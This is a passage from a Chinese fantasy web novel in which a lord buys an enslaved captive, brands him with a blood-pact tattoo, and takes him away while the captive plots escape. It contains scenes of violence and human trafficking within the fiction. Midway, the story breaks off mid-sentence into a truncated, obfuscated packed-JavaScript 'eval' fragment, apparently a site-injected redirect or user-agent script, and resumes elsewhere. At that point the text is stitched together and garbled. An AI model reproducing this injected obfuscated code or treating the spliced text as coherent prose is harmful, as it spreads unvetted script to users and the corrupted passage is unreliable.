一两银子顶一千文,一两金子顶十两银子。饕餮谷的蝣人,寻常价格一整个是三千金,个头稍小的又或玄级稍次的,便是一千金,若要挑上等品相的,没五千金下不来。 生意场的门打开,金子像流水一般涌进谷主的口袋,白花花的银子都入不得眼。 卖得最高的,是一年前以一万八千金的价格被江湖道士买下的一个蝣人。阮玉山再出三十倍,那就是整整五十四万金。 飞帖拿去钱庄实打实地换做金子,堆成小山也不为过。 别说一个蝣人,就是把九十四丢进春/药罐子里跟谷里所有异性蝣人生两年的孩子,全拿出来也卖不了这个价。 阮玉山本没有必要为了一个蝣人如此一掷万金,偏偏他不喜欢将就。 他看中的东西,哪怕只是个祭品,也一定要选自己合眼的那个不可。 林烟手里拿着飞贴,只等谷主一个点头,便把票子送到对方手上。 除了听不懂中原话的蝣人,站在这里的无不睁大了眼等着看五十四万金的飞贴票子长什么模样。 蝣人里,为首的九十四先低身将百重三扶起,听到阮玉山的话,手上动作难以察觉地顿了顿。 披散杂乱的头发遮住了他嘴角掠过的那抹略带讽刺的笑意,当九十四扶好百重三抬头时,却正好对上阮玉山看似不经意的一瞥。 阮玉山的皮肤是在战场经年风吹雨打下来的古铜颜色,与之相衬的还有脸上轮廓硬挺的五官,由于生得太过冷峻,连带着唯一一双称得上柔和的丹凤眼也只剩下无尽的锐利目光。 两个人的视线在空中有一瞬交错,九十四同其他蝣人一样,借着一副听不懂场面的神色,自然地将眼神错开。 阮玉山的双目却在看向九十四时多停留了片刻。 这个蝣人他非要不可。 他就要把这颗聪明的脑袋和漂亮的脸带回去,砍下来挂在他阮家的鬼头林里。 百年后雨雪风霜吞噬了皮肉,鬼头林里成千上万的蝣人头颅变作骷髅白骨,最完美的那颗也得是他阮玉山亲手选的。 小厮从林烟手里接过飞贴票子,这生意就算成了。 谷主拿走近侍奉上的取血刀,为表对那五十四万金的诚意,亲自上手道:“烦请阮老爷伸手,让老夫取点血。” 林烟作势要拦,阮玉山抬手挡住,只问:“取血做什么?” 谷主解释:“蝣人大多狡诈奸猾,身负神级玄力,若没有饕餮谷的锁链加以束缚,势必反动杀主。有的主顾不愿带走锁蝣笼子,也嫌镣铐挂在蝣人身上十分繁琐,饕餮谷便给卖出去的蝣人套上颈枷,再往他们身上刺入加了主人血的刺青。 “血液随着刺青散入蝣人身体,在饕餮谷咒法的加持下,双方就算连接了血契。蝣人认了主,百里之内,主人可感知蝣人方位;一旦蝣人脱离主人百里之外,一个月内,便会受到反噬催心而亡。无论何时何地,一旦主人性命有恙,他们也必死无疑。这样,只要略加看管,蝣人便无法擅自逃脱了。” 饕餮谷成立数百年,针对蝣人制成的秘方法术数不胜数,阮玉山见对方点到为止,便知道往多了不可再问。 林烟听了倒是灵敏地察觉过来:“那这法子对主人家……” “阮老爷放心,”谷主一听就明白他担心什么,“此法只束缚蝣人,对血契主人绝无任何作用。如若不然,我饕餮谷的招牌岂非百年难立了?再者,您何等身份地位,就是借十个胆子给我谷中上下,也没人敢乱打主意。” 说着,便直接拿取血刀往自己掌心划了一道口子,向阮玉山证明道:“就连这取血的匕首,我都先替老爷试过。如何?” 五十四万金的力量,如此强大。 下人奉来镀金水盆,谷主将取血刀在水里洗过,又来回擦拭数遍,才再度示意阮玉山伸手。 阮玉山没动,小厮被谷主使了个眼色,举着盛血的酒杯和取血刀过来,跪在他旁边。 他头也不低地往匕首和杯子里瞧,一眼察觉不对劲:“这杯子里还有那罗迦的血?” 谷主笑道:“都说老爷博古通今,老夫今日才算见识了。老爷既能查出来,老夫也不瞒着——这取血作咒好比熬药,大人的血也好,法师的咒言也罢,终归都是一味味让蝣人应咒的药材,真正的药引,便是一滴那罗迦的心头血。” 那罗迦,传闻中原是千百年前一处西方佛国的王,因为生性暴虐,残忍嗜杀,引得天怒人怨,神灵下凡,最后被自己的亲生母亲和天神一同诛杀。 又因为他的母亲亲手将他杀死后心有不忍,猝然落泪,那一滴泪将他感化。 在他去世后,佛国无主,极速衰败,昔日繁华的国土渐渐变成了一片废墟。又过了不知多少年,废墟中生出一种似狼非狼,似狗非狗的动物,獠牙三寸,青眼竖瞳,拥有不死不灭的肉身,穷凶极恶,好战残暴,那便是那罗迦残存在这世上未被感化的灵魂。相传只有找到自己的母亲,那罗迦才能终止在人间游荡,结束没有尽头的生命。 这东西本就是世间极度诡异的生灵,光是肉身不死不灭便使多少人闻风丧胆。有心之人自然也想利用——也不晓得饕餮谷走了什么旁门左道,竟然连那罗迦都敢去抓,甚至连用处都能钻研出来。 兴许又是某位邪门歪道的法师授意,让饕餮谷坚信,有了那罗迦的心头血,蝣人身上的刺青才能生效。 谷主说着朝天抱了个拳:“老夫没什么本事,万般手段皆是仰仗先祖数高能。他老人家百年前偶然在极西之地猎到的一只那罗迦,带了回来。此物心头血取之不尽用之不竭,有了它,才保证谷里一道道用在蝣人身上的束缚咒足以世世代代流传下来。” “还是饕餮谷厉害。”阮玉山意味不明地笑道,“那罗迦来了这儿都得替你们挣钱。” 谷主:“……” 阮玉山朝林烟摊开手。 林烟当即从自己身侧拔出随身匕首,递了过去。 主掌杀伐之人戒备心强,旁人递来的匕首,再怎么在他跟前自证,阮玉山信不过就是信不过。 “既然取血刀洗干净了,就不必再弄脏。”他随便拿句话打发了谷主,不动声色地拒绝了那把取血刀,用自家的匕首往掌心划开口子,鲜血淅淅沥沥滴落到杯中,“血够不够?” “够够够。”谷主疾步过来拿走酒杯,左右立刻有人上前为阮玉山包扎。 他这些气不死人又能膈应人的臭脾气在场的全受了个满饱,因此包扎的人愈发小心包扎,言谷主更是忍气吞声,恨不能快点送走这尊大佛:“阮老爷稍等,老夫调制好刺青,即刻就能把货交到您手上。” 阮玉山衣摆一掀,大刀阔斧地坐到椅子里,抄起手慢悠悠道:“无碍,我不急。” 背对他走路的言谷主听到这话,趁他看不见的当儿翻了个天大的白眼。 其他人各司其职,随谷主下楼的下楼,看守的驯监依次带走九十四以外的所有蝣人。 眼看着百重三也要被带离此处,九十四明白自己大概是回不到族群中去了。 他弯腰抓住百重三的双手,快速地、小声做最后的嘱咐:“回去把吃的分给百十八和别的哥哥们,我有一个钱袋,压在第三列第二行的两个囚车之间,你把它从土下挖出来,和百十八哥哥平分。 “记住,如果饿了,找驯监帮你们带馒头。一个馒头是一文钱,给驯监得一个碎银子;一桶水三文钱,记得要驯监帮你们打水,要常洗头发,不然会长虫子,驯监打水要一个银锭子。白糖是十文钱,除夕那天可以让驯监帮忙买一次,给他们得给一颗金圆币。 “以后上斗场,我不在,就跟着百十八——你还小,打架的时候躲在后面保护自己,叫百十八不要伤害族人。还有,实在不会磨指甲,让百十八再教你几次。” 他还想说再多,百重三已经被一旁的驯监扯着衣领拎走了。 九十四望着族人们离开的方向出了片刻的神,嘴唇微微张合着,似乎还在继续说着没对百重三念叨完的蝣语。 待族人的身影渐渐远了,楼上再也看不到一个蝣人,他慢慢直起腰,回头又对上阮玉山睨过来的视线。 那个人的眼神锋利而冷漠,简直能穿透他的眼睛,看到他藏在眼睛后的那个脑子里都是些什么想法。 什么想法? 要不了多久,他就是这个人的盘中餐了。 这是九十四唯一的想法。 他低眉垂眼,思考着自己最后会在对方的屠宰场中如何死去。 阮玉山则百无聊赖地坐在圆椅里,闲得没事,以一种观赏的姿态静静盯着自己选中的祭品。 同时沉思着这样一颗脑袋要从脖子第几寸砍下来插在自家的鬼头林才最好看。 刺青师奉着药水和刺针上来,卑躬请示,打断了阮玉山的思路:“刺青的位置和图案,还请老爷指示。” 谈话间便有两个驯监一左一右过去羁押着九十四过来,繁重的锁链声从横亘在他们之间的屏风后方跟随九十四的脚步一路哗啦作响,直到来到阮玉山面前,九十四的膝窝被用力一踹,人当即便面朝阮玉山跪了下去。 阮玉山还是那样盯着九十四的脸,嘴里随口问着刺青师:“你们以前都怎么刺?” “看主顾的意思。”因上来前谷主才叮嘱过,对待阮玉山要格外好脾气,刺青师把腰又躬下去了些,“若主顾没意见,便刺在脸上,用饕餮谷的图腾——倘或货物半路从主顾手里跑了,凭借脸上刺青也方便抓些。” “脸上不好。”阮玉山把搭着的脚放下来,起身走向九十四,“饕餮谷的图腾也不要,太难看。” 刺青师让开位置,忍着没翻白眼,只撇嘴,心道总算知晓为何谷主不上来了。 一把年纪,折磨老人。 九十四双膝平肩跪在地上,低着脖子,腰板笔直,身后二人其实没必要擒住他的双臂,他压根不挣扎。 待阮玉山走到面前时,九十四还是维持原状,并不抬头仰视这位主顾——偶有卖家多心,会把这当作挑衅。为了避免平白惹怒主顾,最基本的礼仪规矩,蝣人打小就听习过。 他看见阮玉山的羊皮靴子在自己眼前停驻着,对方没有叫他抬头,而是用五指摸到他的额发,指尖穿过发丝一路到他后脑勺。阮玉山干燥的指腹摩挲过九十四的头皮,在这个天高气寒的秋日给他带来一点仅够捕捉的温度。 接着九十四的头发被人抓住狠狠往后一扯,阮玉山用自己的暴力迫使他仰起了头。 九十四挺直了背也只到阮玉山的大腿——像检查一个货物一样,阮玉山腰都没弯一下,只是抓着九十四的头摆弄,待把这张脸仔仔细细看了个够,他蓦地松手,语气平淡道:“衣服扒了。” 左右很快上手撕扯下九十四的上衣,阮玉山一个眼神示意,他们又把九十四面门朝下地按到地上。 被剐了衣裳,九十四露出与那身宽大肮脏的狗皮并不相配的身体。 他今年刚满十八,四肢生得舒展修长,因此并不难看出是个成年蝣人的骨架,只是体型有些纤细,即便被按倒在地,肋骨依旧明显,腰上更找不出一丝多余的肉,就连那根笔直的脊梁骨,也在皮肤下隐隐凸起,随手一摸就能触到骨节。 被人带到阮玉山跟前时九十四没有反抗,倒是现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而饕餮谷的作用,就是把充当气囊的蝣人在承受不住体内玄气即将爆体而亡之前贩卖出去,方便客人及时从活体中剖骨取珠,在蝣人的骨珠玄气最充足时拿到手,用以裨补。 “正因如此,”刺青师继续道,“骨珠玄气越充足,蝣人的体质就越好,身体自愈能力也就越强。平日小打小伤,算不得什么,顶多不过半个月,见骨的伤都能愈合个半全,这腰腹处的擦伤,更不值一提,向来不留疤的。” 阮玉山听了,反笑道:“照你一说,对蝣人而言,受些伤流些血,反倒是释放玄气的舒坦方式了?” 刺青师恭恭敬敬,跟着陪笑:“天赋过高的蝣人,体内玄气太足,又有镣铐加以束缚,势必难受。有时自残,放血出去,也不失为延续性命,求以苟活的办法。” 阮玉山略一点头,对此客观点评:“蝣人天赋异禀,体质强健至此,放在饕餮谷,都还能个个瘦得皮包骨头,可见你们当真是敲骨吸髓,吝啬无比。” 刺青师又笑不出来了。 “怎么了?”阮玉山见她不笑了,挑眉道,“我还以为你们喜欢这种夸赞。” “……老爷谬赞。”刺青师吞下一口窝囊气,顺着场面把话引回去,“当下还是为老爷选好刺青的位置和花样要紧些。” 她一提醒,阮玉山像才想起自己手底下还趴着个人,回头一看,发现自己的手指正按在九十四左侧蝴蝶骨上,谈话时不知轻重,指节按得用力了些,抬手就瞧见对方蝴蝶骨上留下了红印子。 蝣人天生身形健美,骨架优异,九十四的蝴蝶骨好看,留下印子更好看。 阮玉山盯着那处指印,头也不抬地朝身后刺青师招手,对方奉着刺青针和笔墨过来,他从盘中拿笔蘸墨,就着那处指印画了一株红珊瑚。 那是阮氏的家族图腾,一个祖上靠做土匪起家的氏族,图腾竟是明理艳绝的红玉珊瑚。 刺青图腾一笔挥就,阮玉山收手,小厮送来擦手的锦帕,他一面接过帕子擦手,一面起身欣赏自己留在九十四后背的杰作,下令道:“就刺这个,刺在蝴蝶骨上。” 刺青师来到九十四身后,放下托盘,洗了手,兑好药水和刺针,正要把针刺入九十四皮下时,九十四再次剧烈挣扎起来。 九十四挣扎的原因很简单。 他不要像牲畜一样被人在身上打什么标志,阮老爷的也好,硬老爷的也罢,谁都没这个资格。 他是个人,即便在这世上地位再低,阶层再低贱,也是个人,不是被分批圈养等着分配的畜生。 是人就不应该在身体被注入那罗迦的狗血! 阮玉山有一搭没一搭地擦手,听见动静扭头去瞧,正撞见驯监又扬起一脚踹到九十四肋骨处。 奈何这一脚不如上次管用,九十四无论如何吃痛,也没有停止动作。 驯监卯足了劲又是一脚,九十四蹙眉咬牙,嘴角溢出血丝来,还是不肯罢休。 双手挣脱不开束缚,他就以头撞地,拼尽全力反抗刺青师把针扎到他的身上。 阮玉山不明白他为何会有这么大的反应,九十四越是反抗,就越是让阮玉山对此感兴趣。 以至于旁边的圈椅他也懒得坐了,就这么意态悠然地握着锦帕,静看九十四如何做无谓的挣扎。 眼见着驯监第四脚就要踹下来,刺青师骤然按住九十四的后颈,用蝣语低喝道:“不要动了!挣脱了你又能跑哪去?” 九十四如有雷击,脸色刹的一白,僵住脊背不再反抗。 驯监悬在半空的最后一脚放下了,阮玉山顺着看过去,盯着那个给了九十四三脚的驯监若有所思。 6.结束 第一针刺青扎入九十四的蝴蝶骨时,阮玉山听见极低的一声轻吟。 他险些以为自己听错了,于是转目去瞧,发现刺青师一手按着九十四的背,一手正密密麻麻地往九十四皮下刺针,全神贯注,心无旁骛。其他人则屏息在侧,不敢妄动,仿佛蝣人的那声低吟真就像他的幻听。 再定睛看了会儿,阮玉山确定自己没听错。 九十四的额头死死顶着地面,头发从两边散落,发丝的遮挡模糊住他的脸,但他裸露的上半身正在细细地发抖,连同压抑的呼吸一起,起伏不定。 他不明白九十四为什么会有如此细微的颤抖,那一定不是因为冷,也不是因为疼痛——再大的苦蝣人都吃过,不会因为这一点疼痛就颤栗不止。 是觉得屈辱? 阮玉山在心里觉得好笑:他阮玉山亲手画的图腾,旁人求还求不来,到了一个蝣人这儿,反倒成屈辱了。 草莽东西,不识抬举。 阮玉山睨着眼,说不清心里是不屑还是不满,顺着九十四因为清瘦而十分凸显的蝴蝶骨往上看,猝不及防对上九十四冷冷注视着他的眼睛。 他看到那双眼珠子像一条淬满了寒意的毒蛇,藏在丝丝缕缕的青丝后,愤愤盯着他,像盯着蝣人身上背负了两百年的不公的诅咒,盯着日日夜夜将他们关起来的那个铁笼。 那道蛇信子般的眼神给九十四的瞳孔抛上一层尖锐的光,直指阮玉山的面门,照透他心中所有的轻蔑与不屑。 随后那光凝结下来,带着这场秋日席卷的愤懑和不屈,凝在九十四幽深锋利的目光下,凝成一滴具象化的仇恨,悬在九十四发红的眼眶中,轻轻一荡,忽的消失了。 ……是泪。 九十四的眼泪只在眼尾打了个转,还没来得及滴落到地,就被那双眼睛的主人收走,连带着那片刻迸发的情绪一起,随着阖眼的瞬间强行泯灭。 阮玉山的心神猛然一晃。 不知道是因为九十四利剑穿心的那一眼,还是因为眼中转瞬即逝的那滴泪。 经年后阮玉山回忆起这一幕才缓慢察觉,自己青葱岁月地动山摇这一刹,九十四在恨他。 再一转眼,刺青完成了。 从此刻起,他们之间便有了生死牵连。 九十四的身体里同时留存下了阮玉山和一条那罗迦的血。 人的身体里永存着野兽的血,这是莫大的折辱。 驯监松开手,九十四捡起自己被撕烂的衣服套回去,再撑着地面爬起来,脸上已经恢复了低眉不语的模样,除了遮住眼尾那部分乌浓的睫毛还湿润着,其他地方已找不出半点片刻前愤怒的痕迹。 阮玉山也收回心神,驯监正拿着颈枷要把九十四身上的镣铐换下来,被他扬手打断:“别换了。” 他扫过九十四双手间沉重的锁链,为了故意惩罚对方刚才那一眼,不让九十四取下来:“让他戴着走。” 饕餮的所有挟制蝣人的铁具皆来自无镛城,无镛城有天底下最坚硬的钢铁和神力最通天的巫师,从无镛城运出来的一箱箱镣铐带着专门束缚蝣人玄力的诅咒,数百年来源源不断地供给到饕餮谷,每一副用在蝣人身上的都有二三十斤重量。 直到无镛城主谢家谢九楼这代,说一不二的谢小将军,继位家主第一件事,就是断了无镛城给饕餮谷的铁器供给。 虽然饕餮谷对此大为不满,碍于谢九楼的身份,也不敢多说什么,况且来来往往两百余年,谷中压制蝣人的铁器存货富余,再延续着用个百来年也不成问题,百年后谢九楼不在了,他定下的规矩有没有用还得两说。 两个驯监听了阮玉山的话面面相觑,虽有迟疑,却还是赶紧应道:“是。” 长年累月的特制手铐给所有蝣人四肢的腕部磨出两圈崎岖的血痂,即便他们的身体拥有强大的自愈能力,也赶不上手脚三十斤镣铐磨损皮肉的速度。 九十四像无数个蝣人行走时那样攥着手里又长又重的锁链,依旧是冷冷淡淡垂着眼,听之任之。身后刺青留下的灼热痛感愈发强烈,小小的一片红玉珊瑚图重似千钧,就是阮玉山现在下令再往他身上加三十斤锁链他也不会有多余的反应。 阮玉山在他脸上扫过一阵眼风,心中暗发冷笑。 无足轻重的刺青以命相抗,数石铁锁却只晓得一味承受。 天生的蠢货。 这么想归想,他心里头的轻蔑却没升起分毫,反倒是好奇的火苗越燃越旺。 自己亲手选的祭品,越是让他捉摸不透,就越是让他觉得有意思。 随即他转向刺青师,鬼使神差地开口:“若要破了蝣人身上的血契,该怎么做?” 刺青师微诧,蝣人生意做得多了,让给蝣人刺刺青的主顾也不在少数,主动提及解契的主顾,阮玉山还是头一个。 阮玉山一面问着这话,一面挪眼观察九十四的反应。 果不其然,自打穿好衣裳就再也不见任何波动的蝣人此刻颤了颤眼皮,虽不敢正大光明地掀起视线打探后话,却是一副聚神细听的神态。 主顾问话必须及时回答,这是做生意人的本分。刺青师对阮玉山的问话虽感觉莫名其妙,但还是尽责解释:“要破这契,也简单。只需将主人的血与朱砂一并兑成水,在蝣人身体的刺青上画一道束约符,再由主人亲手执刃,刺破符文和刺青,这血契便解了。” “束约符?”阮玉山饶有兴趣,抄着手道,“画给我看。” 后方的九十四终于忍不住抬头望过来。 刺青师嫌他表现得太过明显,瞪他一眼,九十四依旧是直挺挺地把目光往阮玉山那边看,颇有一股豁出性命也要把束约符看清楚的架势。 这回不光阮玉山,就连旁边的林烟一干人等也注意到这蝣人的意向了。 刺青师明面上过不去,对着阮玉山欲言又止:“要不老爷随我去隔壁……” 一语未了,听到阮玉山一声哂笑。 众人的注视下,阮玉山大摇大摆地转过身,一步一步朝九十四走过去。 他来到九十四身前,淡然垂眼,同九十四对视。 谁都不明白他想要做什么,九十四望着比他高了至少一个头的阮玉山,也猜不透。 忽然,阮玉山抬手掐住九十四后颈,将人朝刺青师桌前的方向一路押过去。 阮玉山手上没个轻重,九十四颈侧被他掐得青筋暴起,因为跟不上他的步子所以走得踉踉跄跄,行走间手中锁链碰撞得叮当响。 他单手捏着九十四回到原位,将九十四的脑袋往桌上一摁,对刺青师道:“就在这儿画——画给他看。” 这意思很明显——步步了然却依旧求之不得才是最痛苦的。他就是要这个蝣人记住这道符文,记住之后,再让对方搞清楚,弄明白,即便自己亲手教会九十四每一步逃生的法子,即便存活的办法就在九十四的眼前,区区一个蝣人,也别想从他阮玉山手里挣脱半分。 一辈子都不可能。 刺青师立即拿了纸笔按令照做。 符文并不繁复,毕竟饕餮谷做事样样都以主顾方便为先,最重要的是画符的落笔顺序,每一笔都得严格按照先后落墨,否则符咒便会失去效力。 这边一提笔,阮玉山就把九十四拎起来凑到纸面上,让他好好看着。 “慢慢画。”他似笑非笑盯着九十四的头顶,五指从九十四后颈移上去,抓紧了再往后轻轻一扯,嘴里同刺青师吩咐,“让他看清楚,一笔也别漏。” 他给了九十四机会,九十四也一点都不浪费。 即便被迫仰起了脸,九十四的视线仍紧紧垂下去盯着纸面,不管阮玉山说什么,他都置若罔闻,一心只管记住那道符文。 这个姿势使他挺起的脖子有些发酸,看了不过片刻,九十四脑后便一片酸痛。纵使痛得脖子发颤,他的双眼也一刻不曾离开纸面。 刺青师拿着笔,面露不忍,当真把画符的速度放到最慢,足以让九十四记住每一个笔画步骤。 等到彻底画完,九十四正在心里将那符文再默想一遍,忽然后脖子一紧,竟是被阮玉山拽到了腰前。 颈后的手劲押得他动弹不得,九十四皱紧眉,恨恨将眼珠子向上抬,瞪着阮玉山。 比起九十四波澜不惊地装死,阮玉山倒更乐意看对方这副样子。 他弯下腰,强迫九十四侧身靠在桌子边,以卑躬之态伏在桌面,又必须把头扭过来面向他。 阮玉山俯身,胸口压迫到九十四的肩,呼吸吹到九十四耳后,凑过去歪头道:“看清楚了吗?” 九十四用眼角睨他,很快又敛下眼皮,做顺服模样,默然不语。 “你听得懂中原话。”阮玉山将九十四往自己身前拉了一把,两个人严丝合缝贴着彼此,“别在我面前装蒜。” 他们俩挨得极近,近到彼此的神色只有对方能看见。 阮玉山盯着九十四看似逆来顺受的眉眼,只要颔首,他的鼻尖就能擦过九十四的脸。 突然,九十四在谁都看不到的视角冲他抬头,缓缓地弯眼笑了一下。 那笑凉阴阴的,毫无蛊惑之意,是挑衅,是从刚才的恨里抿出来的一点促狭。 九十四嘴角的血迹尚未擦去,阮玉山如此俯视,恰好看到他清癯的下巴和扬起的一点血红唇角,接着便是九十四挺立的鼻梁上那双更加醒目的英气又多情的眼睛。 这双眼中此时毫不掩饰的促狭使人不由得全然忽视他脸上不值一提的灰尘与鞭痕,九十四看起来像一只俏丽的狐狸,身上的隐忍顺从早已全无,眼神中透露出与阮玉山周身相当的嚣张气焰——阮玉山敢给他看这张符文,他就敢逃。 他一定会逃。 “这就对了。”阮玉山一声冷笑,当即松手,将九十四推开,拿起桌上的锦帕擦手道,“……蝣人。” 果然奸猾狡诈,心存七窍。 九十四生来便是一匹野性难驯的野马,锁链锁不住他的心性,在饕餮谷关了十八年也关不老实,反而将他的脾性越养越烈,就算戴着镣铐,他也会无时无刻不盯着别人手里的钥匙。只要一有机会,他就会抓紧时机进行反扑。 而阮玉山恰好喜欢驯马。 尤其是别人驯不服的马。 他说不清自己跟一个蝣人暗暗地较什么劲,可只要目光一到对方身上,他就忍不住想挑开这个人的皮囊,看看那底下藏着的是个怎样又冷又韧的灵魂。 恰好九十四这种硬骨头,不较劲动真格,便不会让人靠近。 正如现在,被推到一边后,九十四后退两步站定在一侧,便收起眼神不再看他。 挑衅这种事,时间长短不重要,立竿见影才重要。 阮玉山擦完手,将帕子丢在桌上,冲林烟使了个眼色,后者当即移步到九十四身后,做押解上路姿态。 在场的驯监及刺青师见这尊活佛终于要走,恨不得以头抢地快快恭送,哪晓得送人的话还没出口,阮玉山朝楼梯走了两步又回来,径直来到其中一个驯监面前,一言不发地把人瞰着。 那驯监被无缘无故盯着,霎时冷汗直冒,朝左右使眼风,周围也无人敢上前解围,一干人等皆是低头回避,没胆子妄动。哪怕他立时折在阮玉山手下,他们也只有收尸的份。 良久,阮玉山总算开口:“我花钱买的人,你想踹就踹?” 那驯监听闻此话,一滴豆大的汗淌到地上,同时坠到地面的还有他那对突发性软若无骨的膝盖。 “老爷,”驯监对着阮玉山捧靴磕头,“小的一时猪油蒙了心,这才拎不清碰了您的东西。若是换了平时,就是给小的十个胆子也不敢往贵人们的物件上伸一个手指头!若非那蝣人野蛮难缠,小的也不会冲昏了头,忘了那是贵人的物件!还请老爷大人不记小人过——” 没等他说完,阮玉山提脚一蹬,将他仰面踹翻在地,语气仍旧轻慢,不见丝毫起伏:“照你的意思,是我人买得不对?” 堂堂一个城主,按理不会在一个小小驯监面前挑刺,今天阮玉山这么没话找话,纯粹是来坐了一圈,对饕餮谷举办斗场之类的行径实在看不上眼,好好的心情都给破坏了,于是干脆闲得没事,故意找茬。 九十四虽是要走的人了,但也还是头一回见到自己的驯监遭此羞辱,顿时大为新奇,遂侧过脸,对这场面津津有味地看起来。 驯监遭了一窝心脚,捂着胸口痛得冷汗只冒,不知道身上骨头断了几根,正眼冒金星时,偏对上不远处刺青师使眼神,意识到面前一尊财神还没哄好,又赶忙翻过身,爬到阮玉山脚下,正正磕了几个响头,闭着眼左一巴掌右一巴掌往自己脸上扇得啪啪作响:“小的万死!小的不会说话!小的万死……” 直到把自己扇成了一个猪头,脸上五指印纵横交错,皮肉早已麻木到不知疼痛,口鼻鲜血长流,才敢睁眼,发现阮玉山已带着林烟并九十四大步流星地下楼,只剩一片随风翩然的衣角残 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今年阮玉山亲自北上操办此事,一进饕餮谷就打招呼免了往年要走的那些过场,只吩咐他们把自己的马喂饱些,顺便走的时候让谷里再多牵一匹马过来——他骑马赶路,林烟也是,唯独买走的那个蝣人没有马骑,若是让其步行或是拖行,一来拉慢了南回的速度,二来西北黄沙漫天,气候恶劣,加上道路崎岖,让蝣人跟着马跑,只怕阮玉山还没到家举行祭祀,就先把蝣人给走死了。 即便没走死,蝣人一路拖行,被折磨得人不人鬼不鬼,拿去祭祀看着也不好看,更不吉利。 谷主并一众侍卫在斗场大门送他们出谷,阮玉山和林烟上了各自的马,九十四站在一旁,看到自己身边一匹多出来的白马,才知道这是给自己准备的。 他这辈子哪里骑过马?不给别人当马骑都不错了。 九十四和自己面前这匹油光水滑的马面面相觑,马眨眨眼睛,他也眨眨眼睛。 若换了平日,他多磨蹭一刻,驯监的鞭子立马就抽过去。今儿阮玉山才在楼上来了一场下马威,众人谨记着那一记飞刀,此刻面对九十四的愣神,念着打狗也得看主人,倒是不敢吱声了。 林烟等着九十四上马,瞧人不动,心里着急,想要出声提醒,先探了探阮玉山的脸色,后者只是作壁上观,没有准许他帮忙的意思。不知是特地等九十四出丑,还是非要看看九十四究竟会不会独自上马。 林烟无奈,也只好把头转回去安静等着。 岂知九十四只是低头沉思了一会子,便扬起那双还挂着几十斤锁链的手,先攀住马背的辔绳,再提脚踩住踏扣,动作虽生疏却不胆怯,一个借力便扫腿上了马鞍。 只是初次上马,绳子力道拉得不对,拽得马儿连连仰头,踢踏嘶鸣,害得他自己也在马上左右摇晃,险些跌落下去。 “林烟,”这下阮玉山又开口吩咐了,“拿根绳子牵他的马,免得跑了。” 要九十四原地学会骑马是不能的,他们也没那么多功夫等人学会了再上路,最利落的法子,就是林烟的马带九十四的马,让九十四在后头跟着。 立时有人奉了牵引绳过来,把九十四的马挂上,绳子另一头交给林烟,栓也好,牵也罢,都随他决定。 林烟年纪小,今年不过十六,既不是阮府的家生子,也不是从外头买来的,而是阮玉山六七年前的冬天从狼嘴里救下来的孤儿。 那年阮玉山救了林烟一命,林烟记挂他的恩,从林子一路悄悄跟着他的马跟到阮府才被他察觉。 他瞧林烟忠心老实,手脚伶俐,便带在身边让做了亲随,教过几年工夫,也带着上过不大不小的几次战场,只是没让人打过仗。 林烟手上干净,没杀过人,心性也淳朴,唯一的毛病就是怕狼,除此之外做事都很周全,日子久了,阮玉山待他便如弟弟一般。 红州多年禁食蝣人,林烟又是个半大孩子,本就是从畜生嘴下捡回来的一条命,没有拜高踩低的脾性,看九十四便不觉得与寻常百姓或府中奴仆有任何区别,若告诉他对待蝣人只需像对待鸡鸭猪狗一般,他是万万做不到的。 因此九十四上马时,林烟见他两手空空不知该干什么,便小声提醒道:“抓住绳子,要走了。” 九十四顺着他的视线看向自己刚放开的辔绳,懂了林烟的意思,刚重新抓住,就听那边阮玉山“驾”的一声,骑马开走。 阮玉山一走,林烟自是顾不上九十四,也跟着两腿一夹马肚子准备出发。 这边九十四堪堪坐好,林烟手里的牵引绳一拽,他来不及稳住下盘,险些一个俯身扑在马背上。 好在抓住了辔绳,不至于把脸撞下去,隐约中感到有目光投射到自己身上,九十四下意识朝阮玉山的方向抬头,果不其然,恰好抓住阮玉山眼角扫过他的一瞥。 还有侧脸一抹毫不遮掩嘲讽意味的笑。 阮玉山的嘴皮子似乎动了动,特意挑他看过来的这一刻吐出两个字:“蠢货。” 九十四视若无睹,直起身坐好,习惯了马背的颠簸后,学着前方林烟和阮玉山的动作,试着驾驭腰部和双腿的力量,竟也稳稳当当地骑行起来。 他没空同阮玉山这种人的偏见置气。 控制好了下盘,九十四开始转移注意,忙着打量起马背上的风景。 这是他第一次坐在那么高的地方以俯视的姿态观摩这条大道。 自打十三岁起,九十四每年六月被送往天子城进行斗兽表演,每一次他都坐在那个把自己从小关到大的笼子里,被装在巨大的安了车轱辘的铁板上,和自己的族人一起,像饕餮谷的钱串子,一个笼子接一个笼子地连接着,队伍前后都是他们的驯监。 驯监骑在饕餮谷养出来的高大健壮的马匹上,三五成群拖着他们,九十四在队首的笼子里时抬头就看见马尾,在队尾时扭头就看见马头,他见过马头马尾,唯独没有见过马背。 今天终于坐在马背上,九十四往前扫视到诸多城民的头顶,回头是站在斗场大门前毕恭毕敬目送他们离去的驯监和谷主,再低头,九十四几乎能在尘沙飞扬的大路上找到自己这些年数次在饕餮谷和天子城之间往返而留下的车痕。 他看着那一道道早就被尘沙遮掩的却仿佛历历在目的车痕,随后看见车痕上自己踩在马镫上的足尖。 九十四穿着破旧不堪的最廉价的草鞋,像阮玉山和林烟一样夹紧了马肚子,随着马背颠簸的频率缓慢骑行,再也没有低过头。 他的囚笼生活结束了,来日将去的是属于自己的屠宰场。 7.沙佘 回到阮玉山下榻的客栈时,九十四和三匹坐骑一起关在后院的马厩里。 他的双手并在一起先被绳子捆了数圈,然后绑在马棚的栅栏上。 林烟虽然不会杀人,但跟在阮玉山身边这么多年,光是绑俘虏也绑出了庖丁解牛的水平,因此九十四尝试着把手指伸到卷起的裤腰边里拿到那根常年携带的铁丝时,还是费了好一番功夫。 饕餮谷的铁锁分为两种,一是多年前的老式锁链,锁扣中没有磁石,只靠钥匙就能打开,第二种则是如今谷里普遍用的磁石锁,开锁时既要钥匙,又要解磁,相当于两重防护。 谷里的蝣人几乎每一个都会用铁丝打开他们手腕的铁锁,这对天生头脑灵活的蝣族而言毫不费力,甚至闲暇时坐在笼子里,开锁就是他们解闷的游戏。 也正是这个缘故,才导致饕餮谷几乎弃用了束缚他们玄力的普通锁扣,大量改换磁石锁。 每把磁石锁都配以专门的解磁石,九十四这把锁的解磁石在阮玉山那里。 